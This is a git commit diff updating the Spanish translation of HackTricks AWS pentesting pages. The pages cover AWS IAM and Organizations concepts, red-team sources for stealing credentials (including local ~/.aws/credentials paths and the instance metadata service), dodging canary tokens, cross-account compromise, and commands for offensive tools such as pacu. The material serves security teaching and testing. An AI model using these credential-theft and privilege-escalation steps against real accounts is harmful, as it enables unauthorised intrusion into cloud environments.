mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-01 18:44:56 -07:00
Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/
This commit is contained in:
@@ -33,7 +33,7 @@ Para auditar un ambiente de AWS, es muy importante saber: qué **servicios se es
|
||||
|
||||
Desde el punto de vista de un Red Team, el **primer paso para comprometer un ambiente de AWS** es lograr obtener algunas **credenciales**. Aquí tienes algunas ideas sobre cómo hacerlo:
|
||||
|
||||
- **Filtraciones** en github (o similar) - OSINT
|
||||
- **Leaks** en github (o similar) - OSINT
|
||||
- **Ingeniería** Social
|
||||
- Reutilización de **contraseñas** (filtraciones de contraseñas)
|
||||
- Vulnerabilidades en Aplicaciones Alojadas en AWS
|
||||
@@ -41,11 +41,11 @@ Desde el punto de vista de un Red Team, el **primer paso para comprometer un amb
|
||||
- **Lectura de Archivos Locales**
|
||||
- `/home/USERNAME/.aws/credentials`
|
||||
- `C:\Users\USERNAME\.aws\credentials`
|
||||
- **terceros** **comprometidos**
|
||||
- **brechas** de terceros
|
||||
- Empleado **Interno**
|
||||
- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credenciales
|
||||
|
||||
O comprometiendo un **servicio no autenticado** expuesto:
|
||||
O comprometiendo un servicio **no autenticado** expuesto:
|
||||
|
||||
{{#ref}}
|
||||
aws-unauthenticated-enum-access/
|
||||
@@ -58,7 +58,7 @@ aws-permissions-for-a-pentest.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Después de haber logrado obtener credenciales, necesitas saber **a quién pertenecen esas credenciales**, y **a qué tienen acceso**, así que necesitas realizar alguna enumeración básica:
|
||||
> Después de haber logrado obtener credenciales, necesitas saber **a quién pertenecen esas credenciales**, y **a qué tienen acceso**, por lo que necesitas realizar alguna enumeración básica:
|
||||
|
||||
## Enumeración Básica
|
||||
|
||||
@@ -92,7 +92,7 @@ curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic
|
||||
> Tenga en cuenta que las empresas pueden usar **canary tokens** para identificar cuándo **se están robando y utilizando tokens**. Se recomienda verificar si un token es un canary token o no antes de usarlo.\
|
||||
> Para más información [**ver esta página**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
|
||||
|
||||
### Enumeración de Org
|
||||
### Enumeración de Organizaciones
|
||||
|
||||
{{#ref}}
|
||||
aws-services/aws-organizations-enum.md
|
||||
@@ -115,7 +115,7 @@ aws-services/aws-iam-enum.md
|
||||
|
||||
## Enumeración de Servicios, Post-Explotación y Persistencia
|
||||
|
||||
AWS tiene una asombrosa cantidad de servicios, en la siguiente página encontrará **información básica, enumeración** cheatsheets\*\*,\*\* cómo **evitar la detección**, obtener **persistencia** y otros trucos de **post-explotación** sobre algunos de ellos:
|
||||
AWS tiene una asombrosa cantidad de servicios, en la siguiente página encontrará **información básica, cheatsheets de enumeración**, cómo **evitar la detección**, obtener **persistencia** y otros trucos de **post-explotación** sobre algunos de ellos:
|
||||
|
||||
{{#ref}}
|
||||
aws-services/
|
||||
@@ -131,7 +131,7 @@ aws-unauthenticated-enum-access/
|
||||
|
||||
## Escalación de Privilegios
|
||||
|
||||
Si puede **ver al menos sus propios permisos** sobre diferentes recursos, podría **verificar si puede obtener más permisos**. Debería centrarse al menos en los permisos indicados en:
|
||||
Si puede **ver al menos sus propios permisos** sobre diferentes recursos, podría **ver si puede obtener más permisos**. Debería centrarse al menos en los permisos indicados en:
|
||||
|
||||
{{#ref}}
|
||||
aws-privilege-escalation/
|
||||
@@ -161,7 +161,7 @@ Por lo tanto, para acceder como administrador a una cuenta secundaria, necesita:
|
||||
- **Comprometer** la **cuenta de administración** y encontrar el **ID** de las **cuentas secundarias** y los **nombres** del **rol** (OrganizationAccountAccessRole por defecto) que permite a la cuenta de administración acceder como administrador.
|
||||
- Para encontrar cuentas secundarias, vaya a la sección de organizaciones en la consola de aws o ejecute `aws organizations list-accounts`
|
||||
- No puede encontrar el nombre de los roles directamente, así que verifique todas las políticas IAM personalizadas y busque cualquier que permita **`sts:AssumeRole` sobre las cuentas secundarias descubiertas previamente**.
|
||||
- **Comprometer** un **principal** en la cuenta de administración con **permiso `sts:AssumeRole` sobre el rol en las cuentas secundarias** (incluso si la cuenta permite que cualquiera de la cuenta de administración se impersonifique, como es una cuenta externa, son necesarios permisos específicos de `sts:AssumeRole`).
|
||||
- **Comprometer** un **principal** en la cuenta de administración con **permiso `sts:AssumeRole` sobre el rol en las cuentas secundarias** (incluso si la cuenta permite que cualquiera de la cuenta de administración se haga pasar por ella, como es una cuenta externa, son necesarios permisos específicos de `sts:AssumeRole`).
|
||||
|
||||
## Herramientas Automatizadas
|
||||
|
||||
@@ -179,7 +179,7 @@ AWS_PROFILE=<profile> aws_recon \
|
||||
--verbose
|
||||
```
|
||||
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist es una **herramienta multi-nube para obtener Activos** (Nombres de host, Direcciones IP) de Proveedores de Nube.
|
||||
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper te ayuda a analizar tus entornos de Amazon Web Services (AWS). Ahora contiene mucha más funcionalidad, incluyendo auditoría para problemas de seguridad.
|
||||
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper te ayuda a analizar tus entornos de Amazon Web Services (AWS). Ahora contiene mucha más funcionalidad, incluyendo auditoría de problemas de seguridad.
|
||||
```bash
|
||||
# Installation steps in github
|
||||
# Create a config.json file with the aws info, like:
|
||||
@@ -239,7 +239,7 @@ AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-p
|
||||
|
||||
### Privesc & Exploiting
|
||||
|
||||
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Descubre los usuarios más privilegiados en el entorno de AWS escaneado, incluyendo los AWS Shadow Admins. Utiliza powershell. Puedes encontrar la **definición de políticas privilegiadas** en la función **`Check-PrivilegedPolicy`** en [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
|
||||
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Descubre los usuarios más privilegiados en el entorno de AWS escaneado, incluyendo a los AWS Shadow Admins. Utiliza powershell. Puedes encontrar la **definición de políticas privilegiadas** en la función **`Check-PrivilegedPolicy`** en [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
|
||||
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu es un **framework de explotación de AWS** de código abierto, diseñado para pruebas de seguridad ofensivas contra entornos en la nube. Puede **enumerar**, encontrar **configuraciones incorrectas** y **explotarlas**. Puedes encontrar la **definición de permisos privilegiados** en [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) dentro del diccionario **`user_escalation_methods`**.
|
||||
- Ten en cuenta que pacu **solo verifica tus propios caminos de privesc** (no a nivel de cuenta).
|
||||
```bash
|
||||
@@ -255,7 +255,7 @@ pacu
|
||||
> exec iam__enum_permissions # Get permissions
|
||||
> exec iam__privesc_scan # List privileged permissions
|
||||
```
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) es un script y biblioteca para identificar riesgos en la configuración de AWS Identity and Access Management (IAM) para una cuenta de AWS o una organización de AWS. Modela los diferentes Usuarios y Roles de IAM en una cuenta como un grafo dirigido, lo que permite verificar la **escalada de privilegios** y los caminos alternativos que un atacante podría tomar para obtener acceso a un recurso o acción en AWS. Puedes verificar los **permisos utilizados para encontrar caminos de privesc** en los nombres de archivo que terminan en `_edges.py` en [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) es un script y biblioteca para identificar riesgos en la configuración de AWS Identity and Access Management (IAM) para una cuenta de AWS o una organización de AWS. Modela los diferentes IAM Users y Roles en una cuenta como un grafo dirigido, lo que permite verificar **privilege escalation** y los caminos alternativos que un atacante podría tomar para obtener acceso a un recurso o acción en AWS. Puedes verificar los **permissions utilizados para encontrar privesc** caminos en los nombres de archivo que terminan en `_edges.py` en [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
|
||||
```bash
|
||||
# Install
|
||||
pip install principalmapper
|
||||
@@ -278,7 +278,7 @@ pmapper --profile dev orgs create
|
||||
pmapper --profile dev orgs display
|
||||
```
|
||||
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining es una herramienta de evaluación de seguridad de AWS IAM que identifica violaciones del principio de menor privilegio y genera un informe HTML priorizado por riesgo.\
|
||||
Mostrará los clientes **sobre privilegiados** potencialmente, las **políticas** en línea y de aws, y qué **principales tienen acceso a ellas**. (No solo verifica el privesc, sino también otros tipos de permisos interesantes, se recomienda su uso).
|
||||
Mostrará los clientes **sobre privilegiados** potencialmente, las políticas en línea y de aws **y qué principales tienen acceso a ellas**. (No solo verifica privesc, sino también otros tipos de permisos interesantes, se recomienda su uso).
|
||||
```bash
|
||||
# Install
|
||||
pip install cloudsplaining
|
||||
@@ -303,7 +303,7 @@ cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /
|
||||
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
|
||||
## use "cis" for cis level 1 and 2
|
||||
```
|
||||
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler es una herramienta de seguridad de código abierto para realizar evaluaciones de las mejores prácticas de seguridad de AWS, auditorías, respuesta a incidentes, monitoreo continuo, endurecimiento y preparación forense.
|
||||
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler es una herramienta de seguridad de código abierto para realizar evaluaciones de las mejores prácticas de seguridad de AWS, auditorías, respuesta a incidentes, monitoreo continuo, endurecimiento y preparación para forenses.
|
||||
```bash
|
||||
# Install python3, jq and git
|
||||
# Install
|
||||
@@ -334,8 +334,8 @@ scout aws -p dev
|
||||
|
||||
### Auditoría Constante
|
||||
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian es un motor de reglas para gestionar cuentas y recursos de nube pública. Permite a los usuarios **definir políticas para habilitar una infraestructura de nube bien gestionada**, que sea segura y optimizada en costos. Consolida muchos de los scripts ad-hoc que las organizaciones tienen en una herramienta ligera y flexible, con métricas y reportes unificados.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** es una plataforma para **monitoreo continuo de cumplimiento, reportes de cumplimiento y automatización de seguridad para la nube**. En PacBot, las políticas de seguridad y cumplimiento se implementan como código. Todos los recursos descubiertos por PacBot son evaluados contra estas políticas para medir la conformidad con las políticas. El marco de **auto-fix** de PacBot proporciona la capacidad de responder automáticamente a violaciones de políticas tomando acciones predefinidas.
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian es un motor de reglas para gestionar cuentas y recursos de nube pública. Permite a los usuarios **definir políticas para habilitar una infraestructura en la nube bien gestionada**, que sea segura y optimizada en costos. Consolida muchos de los scripts ad-hoc que las organizaciones tienen en una herramienta ligera y flexible, con métricas y reportes unificados.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** es una plataforma para **monitoreo continuo de cumplimiento, reporte de cumplimiento y automatización de seguridad para la nube**. En PacBot, las políticas de seguridad y cumplimiento se implementan como código. Todos los recursos descubiertos por PacBot se evalúan contra estas políticas para medir la conformidad con las políticas. El marco **auto-fix** de PacBot proporciona la capacidad de responder automáticamente a violaciones de políticas tomando acciones predefinidas.
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert es un marco de análisis de datos **en tiempo real** sin servidor que te permite **ingresar, analizar y alertar** sobre datos de cualquier entorno, **usando fuentes de datos y lógica de alertas que defines**. Los equipos de seguridad informática utilizan StreamAlert para escanear terabytes de datos de registro todos los días para la detección y respuesta a incidentes.
|
||||
|
||||
## DEBUG: Capturar solicitudes de AWS cli
|
||||
|
||||
@@ -26,7 +26,7 @@ Por lo tanto, hay **dos tipos de cuentas en una organización** (estamos habland
|
||||
|
||||
La cuenta de gestión tiene las **responsabilidades de una cuenta pagadora** y es responsable de pagar todos los cargos que son acumulados por las cuentas miembro. No puedes cambiar la cuenta de gestión de una organización.
|
||||
|
||||
- Las **cuentas miembro** constituyen el resto de las cuentas en una organización. Una cuenta puede ser miembro de solo una organización a la vez. Puedes adjuntar una política a una cuenta para aplicar controles solo a esa cuenta.
|
||||
- Las **cuentas miembro** constituyen el resto de las cuentas en una organización. Una cuenta puede ser miembro de solo una organización a la vez. Puedes adjuntar una política a una cuenta para aplicar controles solo a esa cuenta.
|
||||
- Las cuentas miembro **deben usar una dirección de correo electrónico válida** y pueden tener un **nombre**, en general no podrán gestionar la facturación (pero podrían recibir acceso a ella).
|
||||
```
|
||||
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
|
||||
@@ -40,7 +40,7 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
|
||||
```
|
||||
### Service Control Policy (SCP)
|
||||
|
||||
Una **política de control de servicio (SCP)** es una política que especifica los servicios y acciones que los usuarios y roles pueden usar en las cuentas que la SCP afecta. Las SCP son **similares a las políticas de permisos de IAM** excepto que **no otorgan ningún permiso**. En cambio, las SCP especifican los **permisos máximos** para una organización, unidad organizativa (OU) o cuenta. Cuando adjuntas una SCP a la raíz de tu organización o a una OU, la **SCP limita los permisos para las entidades en las cuentas miembros**.
|
||||
Una **service control policy (SCP)** es una política que especifica los servicios y acciones que los usuarios y roles pueden usar en las cuentas que la SCP afecta. Las SCP son **similares a las políticas de permisos de IAM** excepto que **no otorgan ningún permiso**. En cambio, las SCP especifican los **permisos máximos** para una organización, unidad organizativa (OU) o cuenta. Cuando adjuntas una SCP a la raíz de tu organización o a una OU, la **SCP limita los permisos para las entidades en las cuentas miembros**.
|
||||
|
||||
Esta es la ÚNICA forma en que **incluso el usuario raíz puede ser detenido** de hacer algo. Por ejemplo, podría usarse para evitar que los usuarios desactiven CloudTrail o eliminen copias de seguridad.\
|
||||
La única forma de eludir esto es comprometer también la **cuenta maestra** que configura las SCP (la cuenta maestra no puede ser bloqueada).
|
||||
@@ -67,7 +67,7 @@ Encuentra **ejemplos de JSON** en [https://docs.aws.amazon.com/organizations/lat
|
||||
arn:partition:service:region:account-id:resource-type/resource-id
|
||||
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
|
||||
```
|
||||
Note que hay 4 particiones en AWS pero solo 3 formas de llamarlas:
|
||||
Nota que hay 4 particiones en AWS pero solo 3 formas de llamarlas:
|
||||
|
||||
- AWS Standard: `aws`
|
||||
- AWS China: `aws-cn`
|
||||
@@ -88,9 +88,9 @@ IAM se puede definir por su capacidad para gestionar, controlar y gobernar los m
|
||||
|
||||
Cuando creas por primera vez una cuenta de Amazon Web Services (AWS), comienzas con una única identidad de inicio de sesión que tiene **acceso completo a todos** los servicios y recursos de AWS en la cuenta. Este es el _**usuario raíz**_ de la cuenta de AWS y se accede iniciando sesión con la **dirección de correo electrónico y la contraseña que usaste para crear la cuenta**.
|
||||
|
||||
Ten en cuenta que un nuevo **usuario administrador** tendrá **menos permisos que el usuario raíz**.
|
||||
Nota que un nuevo **usuario administrador** tendrá **menos permisos que el usuario raíz**.
|
||||
|
||||
Desde un punto de vista de seguridad, se recomienda crear otros usuarios y evitar usar este.
|
||||
Desde el punto de vista de la seguridad, se recomienda crear otros usuarios y evitar usar este.
|
||||
|
||||
### [Usuarios de IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
|
||||
|
||||
@@ -120,7 +120,7 @@ Las políticas con condiciones de MFA se pueden adjuntar a lo siguiente:
|
||||
- La política de confianza de un rol de IAM que puede ser asumido por un usuario
|
||||
|
||||
Si deseas **acceder a través de CLI** a un recurso que **verifica MFA**, necesitas llamar a **`GetSessionToken`**. Eso te dará un token con información sobre MFA.\
|
||||
Ten en cuenta que **las credenciales de `AssumeRole` no contienen esta información**.
|
||||
Nota que **las credenciales de `AssumeRole` no contienen esta información**.
|
||||
```bash
|
||||
aws sts get-session-token --serial-number <arn_device> --token-code <code>
|
||||
```
|
||||
@@ -128,20 +128,20 @@ Como [**se indica aquí**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_c
|
||||
|
||||
### [Grupos de usuarios de IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
|
||||
|
||||
Un [grupo de usuarios de IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) es una forma de **adjuntar políticas a múltiples usuarios** a la vez, lo que puede facilitar la gestión de los permisos para esos usuarios. **Los roles y grupos no pueden ser parte de un grupo**.
|
||||
Un [grupo de usuarios](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) de IAM es una forma de **adjuntar políticas a múltiples usuarios** a la vez, lo que puede facilitar la gestión de los permisos para esos usuarios. **Los roles y grupos no pueden ser parte de un grupo**.
|
||||
|
||||
Puedes adjuntar una **política basada en identidad a un grupo de usuarios** para que todos los **usuarios** en el grupo de usuarios **reciban los permisos de la política**. **No puedes** identificar un **grupo de usuarios** como un **`Principal`** en una **política** (como una política basada en recursos) porque los grupos se relacionan con permisos, no con autenticación, y los principales son entidades IAM autenticadas.
|
||||
Puedes adjuntar una **política basada en identidad a un grupo de usuarios** para que todos los **usuarios** en el grupo de usuarios **reciban los permisos de la política**. No **puedes** identificar un **grupo de usuarios** como un **`Principal`** en una **política** (como una política basada en recursos) porque los grupos se relacionan con permisos, no con autenticación, y los principales son entidades IAM autenticadas.
|
||||
|
||||
Aquí hay algunas características importantes de los grupos de usuarios:
|
||||
|
||||
- Un **grupo** de usuarios puede **contener muchos usuarios**, y un **usuario** puede **pertenecer a múltiples grupos**.
|
||||
- **Los grupos de usuarios no pueden estar anidados**; solo pueden contener usuarios, no otros grupos de usuarios.
|
||||
- No hay **un grupo de usuarios predeterminado que incluya automáticamente a todos los usuarios en la cuenta de AWS**. Si deseas tener un grupo de usuarios así, debes crearlo y asignar a cada nuevo usuario a él.
|
||||
- El número y tamaño de los recursos IAM en una cuenta de AWS, como el número de grupos y el número de grupos de los que un usuario puede ser miembro, son limitados. Para más información, consulta [cuotas de IAM y AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
|
||||
- El número y tamaño de los recursos de IAM en una cuenta de AWS, como el número de grupos y el número de grupos de los que un usuario puede ser miembro, son limitados. Para más información, consulta [cuotas de IAM y AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
|
||||
|
||||
### [Roles de IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
|
||||
|
||||
Un **rol** de IAM es muy **similar** a un **usuario**, en el sentido de que es una **identidad con políticas de permisos que determinan qué** puede y no puede hacer en AWS. Sin embargo, un rol **no tiene ninguna credencial** (contraseña o claves de acceso) asociada. En lugar de estar asociado de manera única a una persona, un rol está destinado a ser **asumido por cualquier persona que lo necesite (y tenga suficientes permisos)**. Un **usuario de IAM puede asumir un rol para temporalmente** adquirir diferentes permisos para una tarea específica. Un rol puede ser **asignado a un** [**usuario federado**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) que inicia sesión utilizando un proveedor de identidad externo en lugar de IAM.
|
||||
Un **rol** de IAM es muy **similar** a un **usuario**, en el sentido de que es una **identidad con políticas de permisos que determinan qué** puede y no puede hacer en AWS. Sin embargo, un rol **no tiene ninguna credencial** (contraseña o claves de acceso) asociada. En lugar de estar asociado de manera única a una persona, un rol está destinado a ser **asumido por cualquier persona que lo necesite (y tenga suficientes permisos)**. Un **usuario de IAM puede asumir un rol para temporalmente** adoptar diferentes permisos para una tarea específica. Un rol puede ser **asignado a un** [**usuario federado**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) que inicia sesión utilizando un proveedor de identidad externo en lugar de IAM.
|
||||
|
||||
Un rol de IAM consiste en **dos tipos de políticas**: una **política de confianza**, que no puede estar vacía, definiendo **quién puede asumir** el rol, y una **política de permisos**, que no puede estar vacía, definiendo **a qué puede acceder**.
|
||||
|
||||
@@ -151,7 +151,7 @@ El Servicio de Token de Seguridad de AWS (STS) es un servicio web que facilita l
|
||||
|
||||
### [Credenciales temporales en IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
|
||||
|
||||
**Las credenciales temporales se utilizan principalmente con roles de IAM**, pero también hay otros usos. Puedes solicitar credenciales temporales que tengan un conjunto de permisos más restringido que tu usuario IAM estándar. Esto **previene** que **realices accidentalmente tareas que no están permitidas** por las credenciales más restringidas. Un beneficio de las credenciales temporales es que expiran automáticamente después de un período de tiempo establecido. Tienes control sobre la duración durante la cual las credenciales son válidas.
|
||||
**Las credenciales temporales se utilizan principalmente con roles de IAM**, pero también hay otros usos. Puedes solicitar credenciales temporales que tengan un conjunto de permisos más restringido que tu usuario de IAM estándar. Esto **previene** que **realices accidentalmente tareas que no están permitidas** por las credenciales más restringidas. Un beneficio de las credenciales temporales es que expiran automáticamente después de un período de tiempo establecido. Tienes control sobre la duración durante la cual las credenciales son válidas.
|
||||
|
||||
### Políticas
|
||||
|
||||
@@ -160,10 +160,10 @@ El Servicio de Token de Seguridad de AWS (STS) es un servicio web que facilita l
|
||||
Se utilizan para asignar permisos. Hay 2 tipos:
|
||||
|
||||
- Políticas administradas por AWS (preconfiguradas por AWS)
|
||||
- Políticas administradas por el cliente: configuradas por ti. Puedes crear políticas basadas en políticas administradas por AWS (modificando una de ellas y creando la tuya propia), utilizando el generador de políticas (una vista GUI que te ayuda a otorgar y denegar permisos) o escribiendo la tuya propia.
|
||||
- Políticas administradas por el cliente: configuradas por ti. Puedes crear políticas basadas en políticas administradas por AWS (modificando una de ellas y creando la tuya), utilizando el generador de políticas (una vista GUI que te ayuda a otorgar y denegar permisos) o escribiendo la tuya propia.
|
||||
|
||||
Por **defecto, el acceso** es **denegado**, el acceso se otorgará si se ha especificado un rol explícito.\
|
||||
Si **existe un único "Deny", anulará el "Allow"**, excepto para las solicitudes que utilizan las credenciales de seguridad raíz de la cuenta de AWS (que están permitidas por defecto).
|
||||
Si **existe un "Deny" único, anulará el "Allow"**, excepto para las solicitudes que utilizan las credenciales de seguridad raíz de la cuenta de AWS (que están permitidas por defecto).
|
||||
```javascript
|
||||
{
|
||||
"Version": "2012-10-17", //Version of the policy
|
||||
@@ -191,14 +191,14 @@ Los [campos específicos que se pueden usar para condiciones por servicio están
|
||||
|
||||
#### Políticas en línea
|
||||
|
||||
Este tipo de políticas son **asignadas directamente** a un usuario, grupo o rol. Entonces, no aparecen en la lista de Políticas ya que cualquier otro puede usarlas.\
|
||||
Este tipo de políticas son **asignadas directamente** a un usuario, grupo o rol. Entonces, no aparecen en la lista de Políticas ya que ningún otro puede usarlas.\
|
||||
Las políticas en línea son útiles si deseas **mantener una relación estricta uno a uno entre una política y la identidad** a la que se aplica. Por ejemplo, quieres asegurarte de que los permisos en una política no se asignen inadvertidamente a una identidad diferente de la que están destinados. Cuando usas una política en línea, los permisos en la política no pueden ser adjuntados inadvertidamente a la identidad incorrecta. Además, cuando usas la Consola de Administración de AWS para eliminar esa identidad, las políticas incrustadas en la identidad también se eliminan. Eso es porque son parte de la entidad principal.
|
||||
|
||||
#### Políticas de Bucket de Recursos
|
||||
|
||||
Estas son **políticas** que se pueden definir en **recursos**. **No todos los recursos de AWS las soportan**.
|
||||
|
||||
Si un principal no tiene una denegación explícita sobre ellos, y una política de recurso les otorga acceso, entonces se les permite.
|
||||
Si un principal no tiene un denegación explícita sobre ellos, y una política de recurso les otorga acceso, entonces se les permite.
|
||||
|
||||
### Límites de IAM
|
||||
|
||||
@@ -220,18 +220,18 @@ aws sts assume-role \
|
||||
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
|
||||
[--policy <file://policy.json>]
|
||||
```
|
||||
Note que por defecto **AWS podría agregar políticas de sesión a las sesiones** que se van a generar por razones de terceros. Por ejemplo, en [roles asumidos de cognito no autenticados](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) por defecto (usando autenticación mejorada), AWS generará **credenciales de sesión con una política de sesión** que limita los servicios a los que la sesión puede acceder [**a la siguiente lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
Tenga en cuenta que por defecto **AWS podría agregar políticas de sesión a las sesiones** que se van a generar por razones de terceros. Por ejemplo, en [roles asumidos de cognito no autenticados](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) por defecto (usando autenticación mejorada), AWS generará **credenciales de sesión con una política de sesión** que limita los servicios a los que la sesión puede acceder [**a la siguiente lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
|
||||
Por lo tanto, si en algún momento te enfrentas al error "... porque ninguna política de sesión permite el ...", y el rol tiene acceso para realizar la acción, es porque **hay una política de sesión que lo impide**.
|
||||
Por lo tanto, si en algún momento se enfrenta al error "... porque ninguna política de sesión permite el ...", y el rol tiene acceso para realizar la acción, es porque **hay una política de sesión que lo impide**.
|
||||
|
||||
### Federación de Identidad
|
||||
|
||||
La federación de identidad **permite a los usuarios de proveedores de identidad que son externos** a AWS acceder a recursos de AWS de manera segura sin tener que proporcionar credenciales de usuario de AWS de una cuenta IAM válida.\
|
||||
Un ejemplo de un proveedor de identidad puede ser tu propio **Microsoft Active Directory** corporativo (a través de **SAML**) o servicios de **OpenID** (como **Google**). El acceso federado permitirá a los usuarios dentro de él acceder a AWS.
|
||||
La federación de identidad **permite a los usuarios de proveedores de identidad que son externos** a AWS acceder a los recursos de AWS de manera segura sin tener que proporcionar credenciales de usuario de AWS de una cuenta de IAM válida.\
|
||||
Un ejemplo de un proveedor de identidad puede ser su propio **Microsoft Active Directory** corporativo (a través de **SAML**) o servicios de **OpenID** (como **Google**). El acceso federado permitirá entonces a los usuarios dentro de él acceder a AWS.
|
||||
|
||||
Para configurar esta confianza, se genera un **Proveedor de Identidad IAM (SAML u OAuth)** que **confiará** en la **otra plataforma**. Luego, al menos un **rol IAM es asignado (confiando) al Proveedor de Identidad**. Si un usuario de la plataforma de confianza accede a AWS, lo hará como el rol mencionado.
|
||||
|
||||
Sin embargo, generalmente querrás dar un **rol diferente dependiendo del grupo del usuario** en la plataforma de terceros. Entonces, varios **roles IAM pueden confiar** en el Proveedor de Identidad de terceros y la plataforma de terceros será la que permitirá a los usuarios asumir un rol u otro.
|
||||
Sin embargo, generalmente querrá dar un **rol diferente dependiendo del grupo del usuario** en la plataforma de terceros. Entonces, varios **roles IAM pueden confiar** en el Proveedor de Identidad de terceros y la plataforma de terceros será la que permitirá a los usuarios asumir un rol u otro.
|
||||
|
||||
<figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -241,7 +241,7 @@ AWS IAM Identity Center (sucesor de AWS Single Sign-On) amplía las capacidades
|
||||
|
||||
El dominio de inicio de sesión será algo como `<user_input>.awsapps.com`.
|
||||
|
||||
Para iniciar sesión a los usuarios, hay 3 fuentes de identidad que se pueden usar:
|
||||
Para iniciar sesión a los usuarios, hay 3 fuentes de identidad que se pueden utilizar:
|
||||
|
||||
- Directorio del Centro de Identidad: Usuarios regulares de AWS
|
||||
- Active Directory: Soporta diferentes conectores
|
||||
@@ -257,12 +257,12 @@ Para dar acceso a un usuario/grupo del Centro de Identidad a una cuenta, se **cr
|
||||
|
||||
Es posible **dar permisos a través de políticas en línea a roles creados a través del Centro de Identidad IAM**. Los roles creados en las cuentas que se les dan **políticas en línea en AWS Identity Center** tendrán estos permisos en una política en línea llamada **`AwsSSOInlinePolicy`**.
|
||||
|
||||
Por lo tanto, incluso si ves 2 roles con una política en línea llamada **`AwsSSOInlinePolicy`**, **no significa que tenga los mismos permisos**.
|
||||
Por lo tanto, incluso si ve 2 roles con una política en línea llamada **`AwsSSOInlinePolicy`**, **no significa que tenga los mismos permisos**.
|
||||
|
||||
### Confianza y Roles entre Cuentas
|
||||
|
||||
**Un usuario** (confiando) puede crear un Rol entre Cuentas con algunas políticas y luego, **permitir a otro usuario** (confiado) **acceder a su cuenta** pero solo **teniendo el acceso indicado en las nuevas políticas del rol**. Para crear esto, solo crea un nuevo Rol y selecciona Rol entre Cuentas. Los roles para Acceso entre Cuentas ofrecen dos opciones. Proporcionar acceso entre cuentas de AWS que posees, y proporcionar acceso entre una cuenta que posees y una cuenta de AWS de terceros.\
|
||||
Se recomienda **especificar el usuario que es confiado y no poner algo genérico** porque de lo contrario, otros usuarios autenticados como usuarios federados también podrán abusar de esta confianza.
|
||||
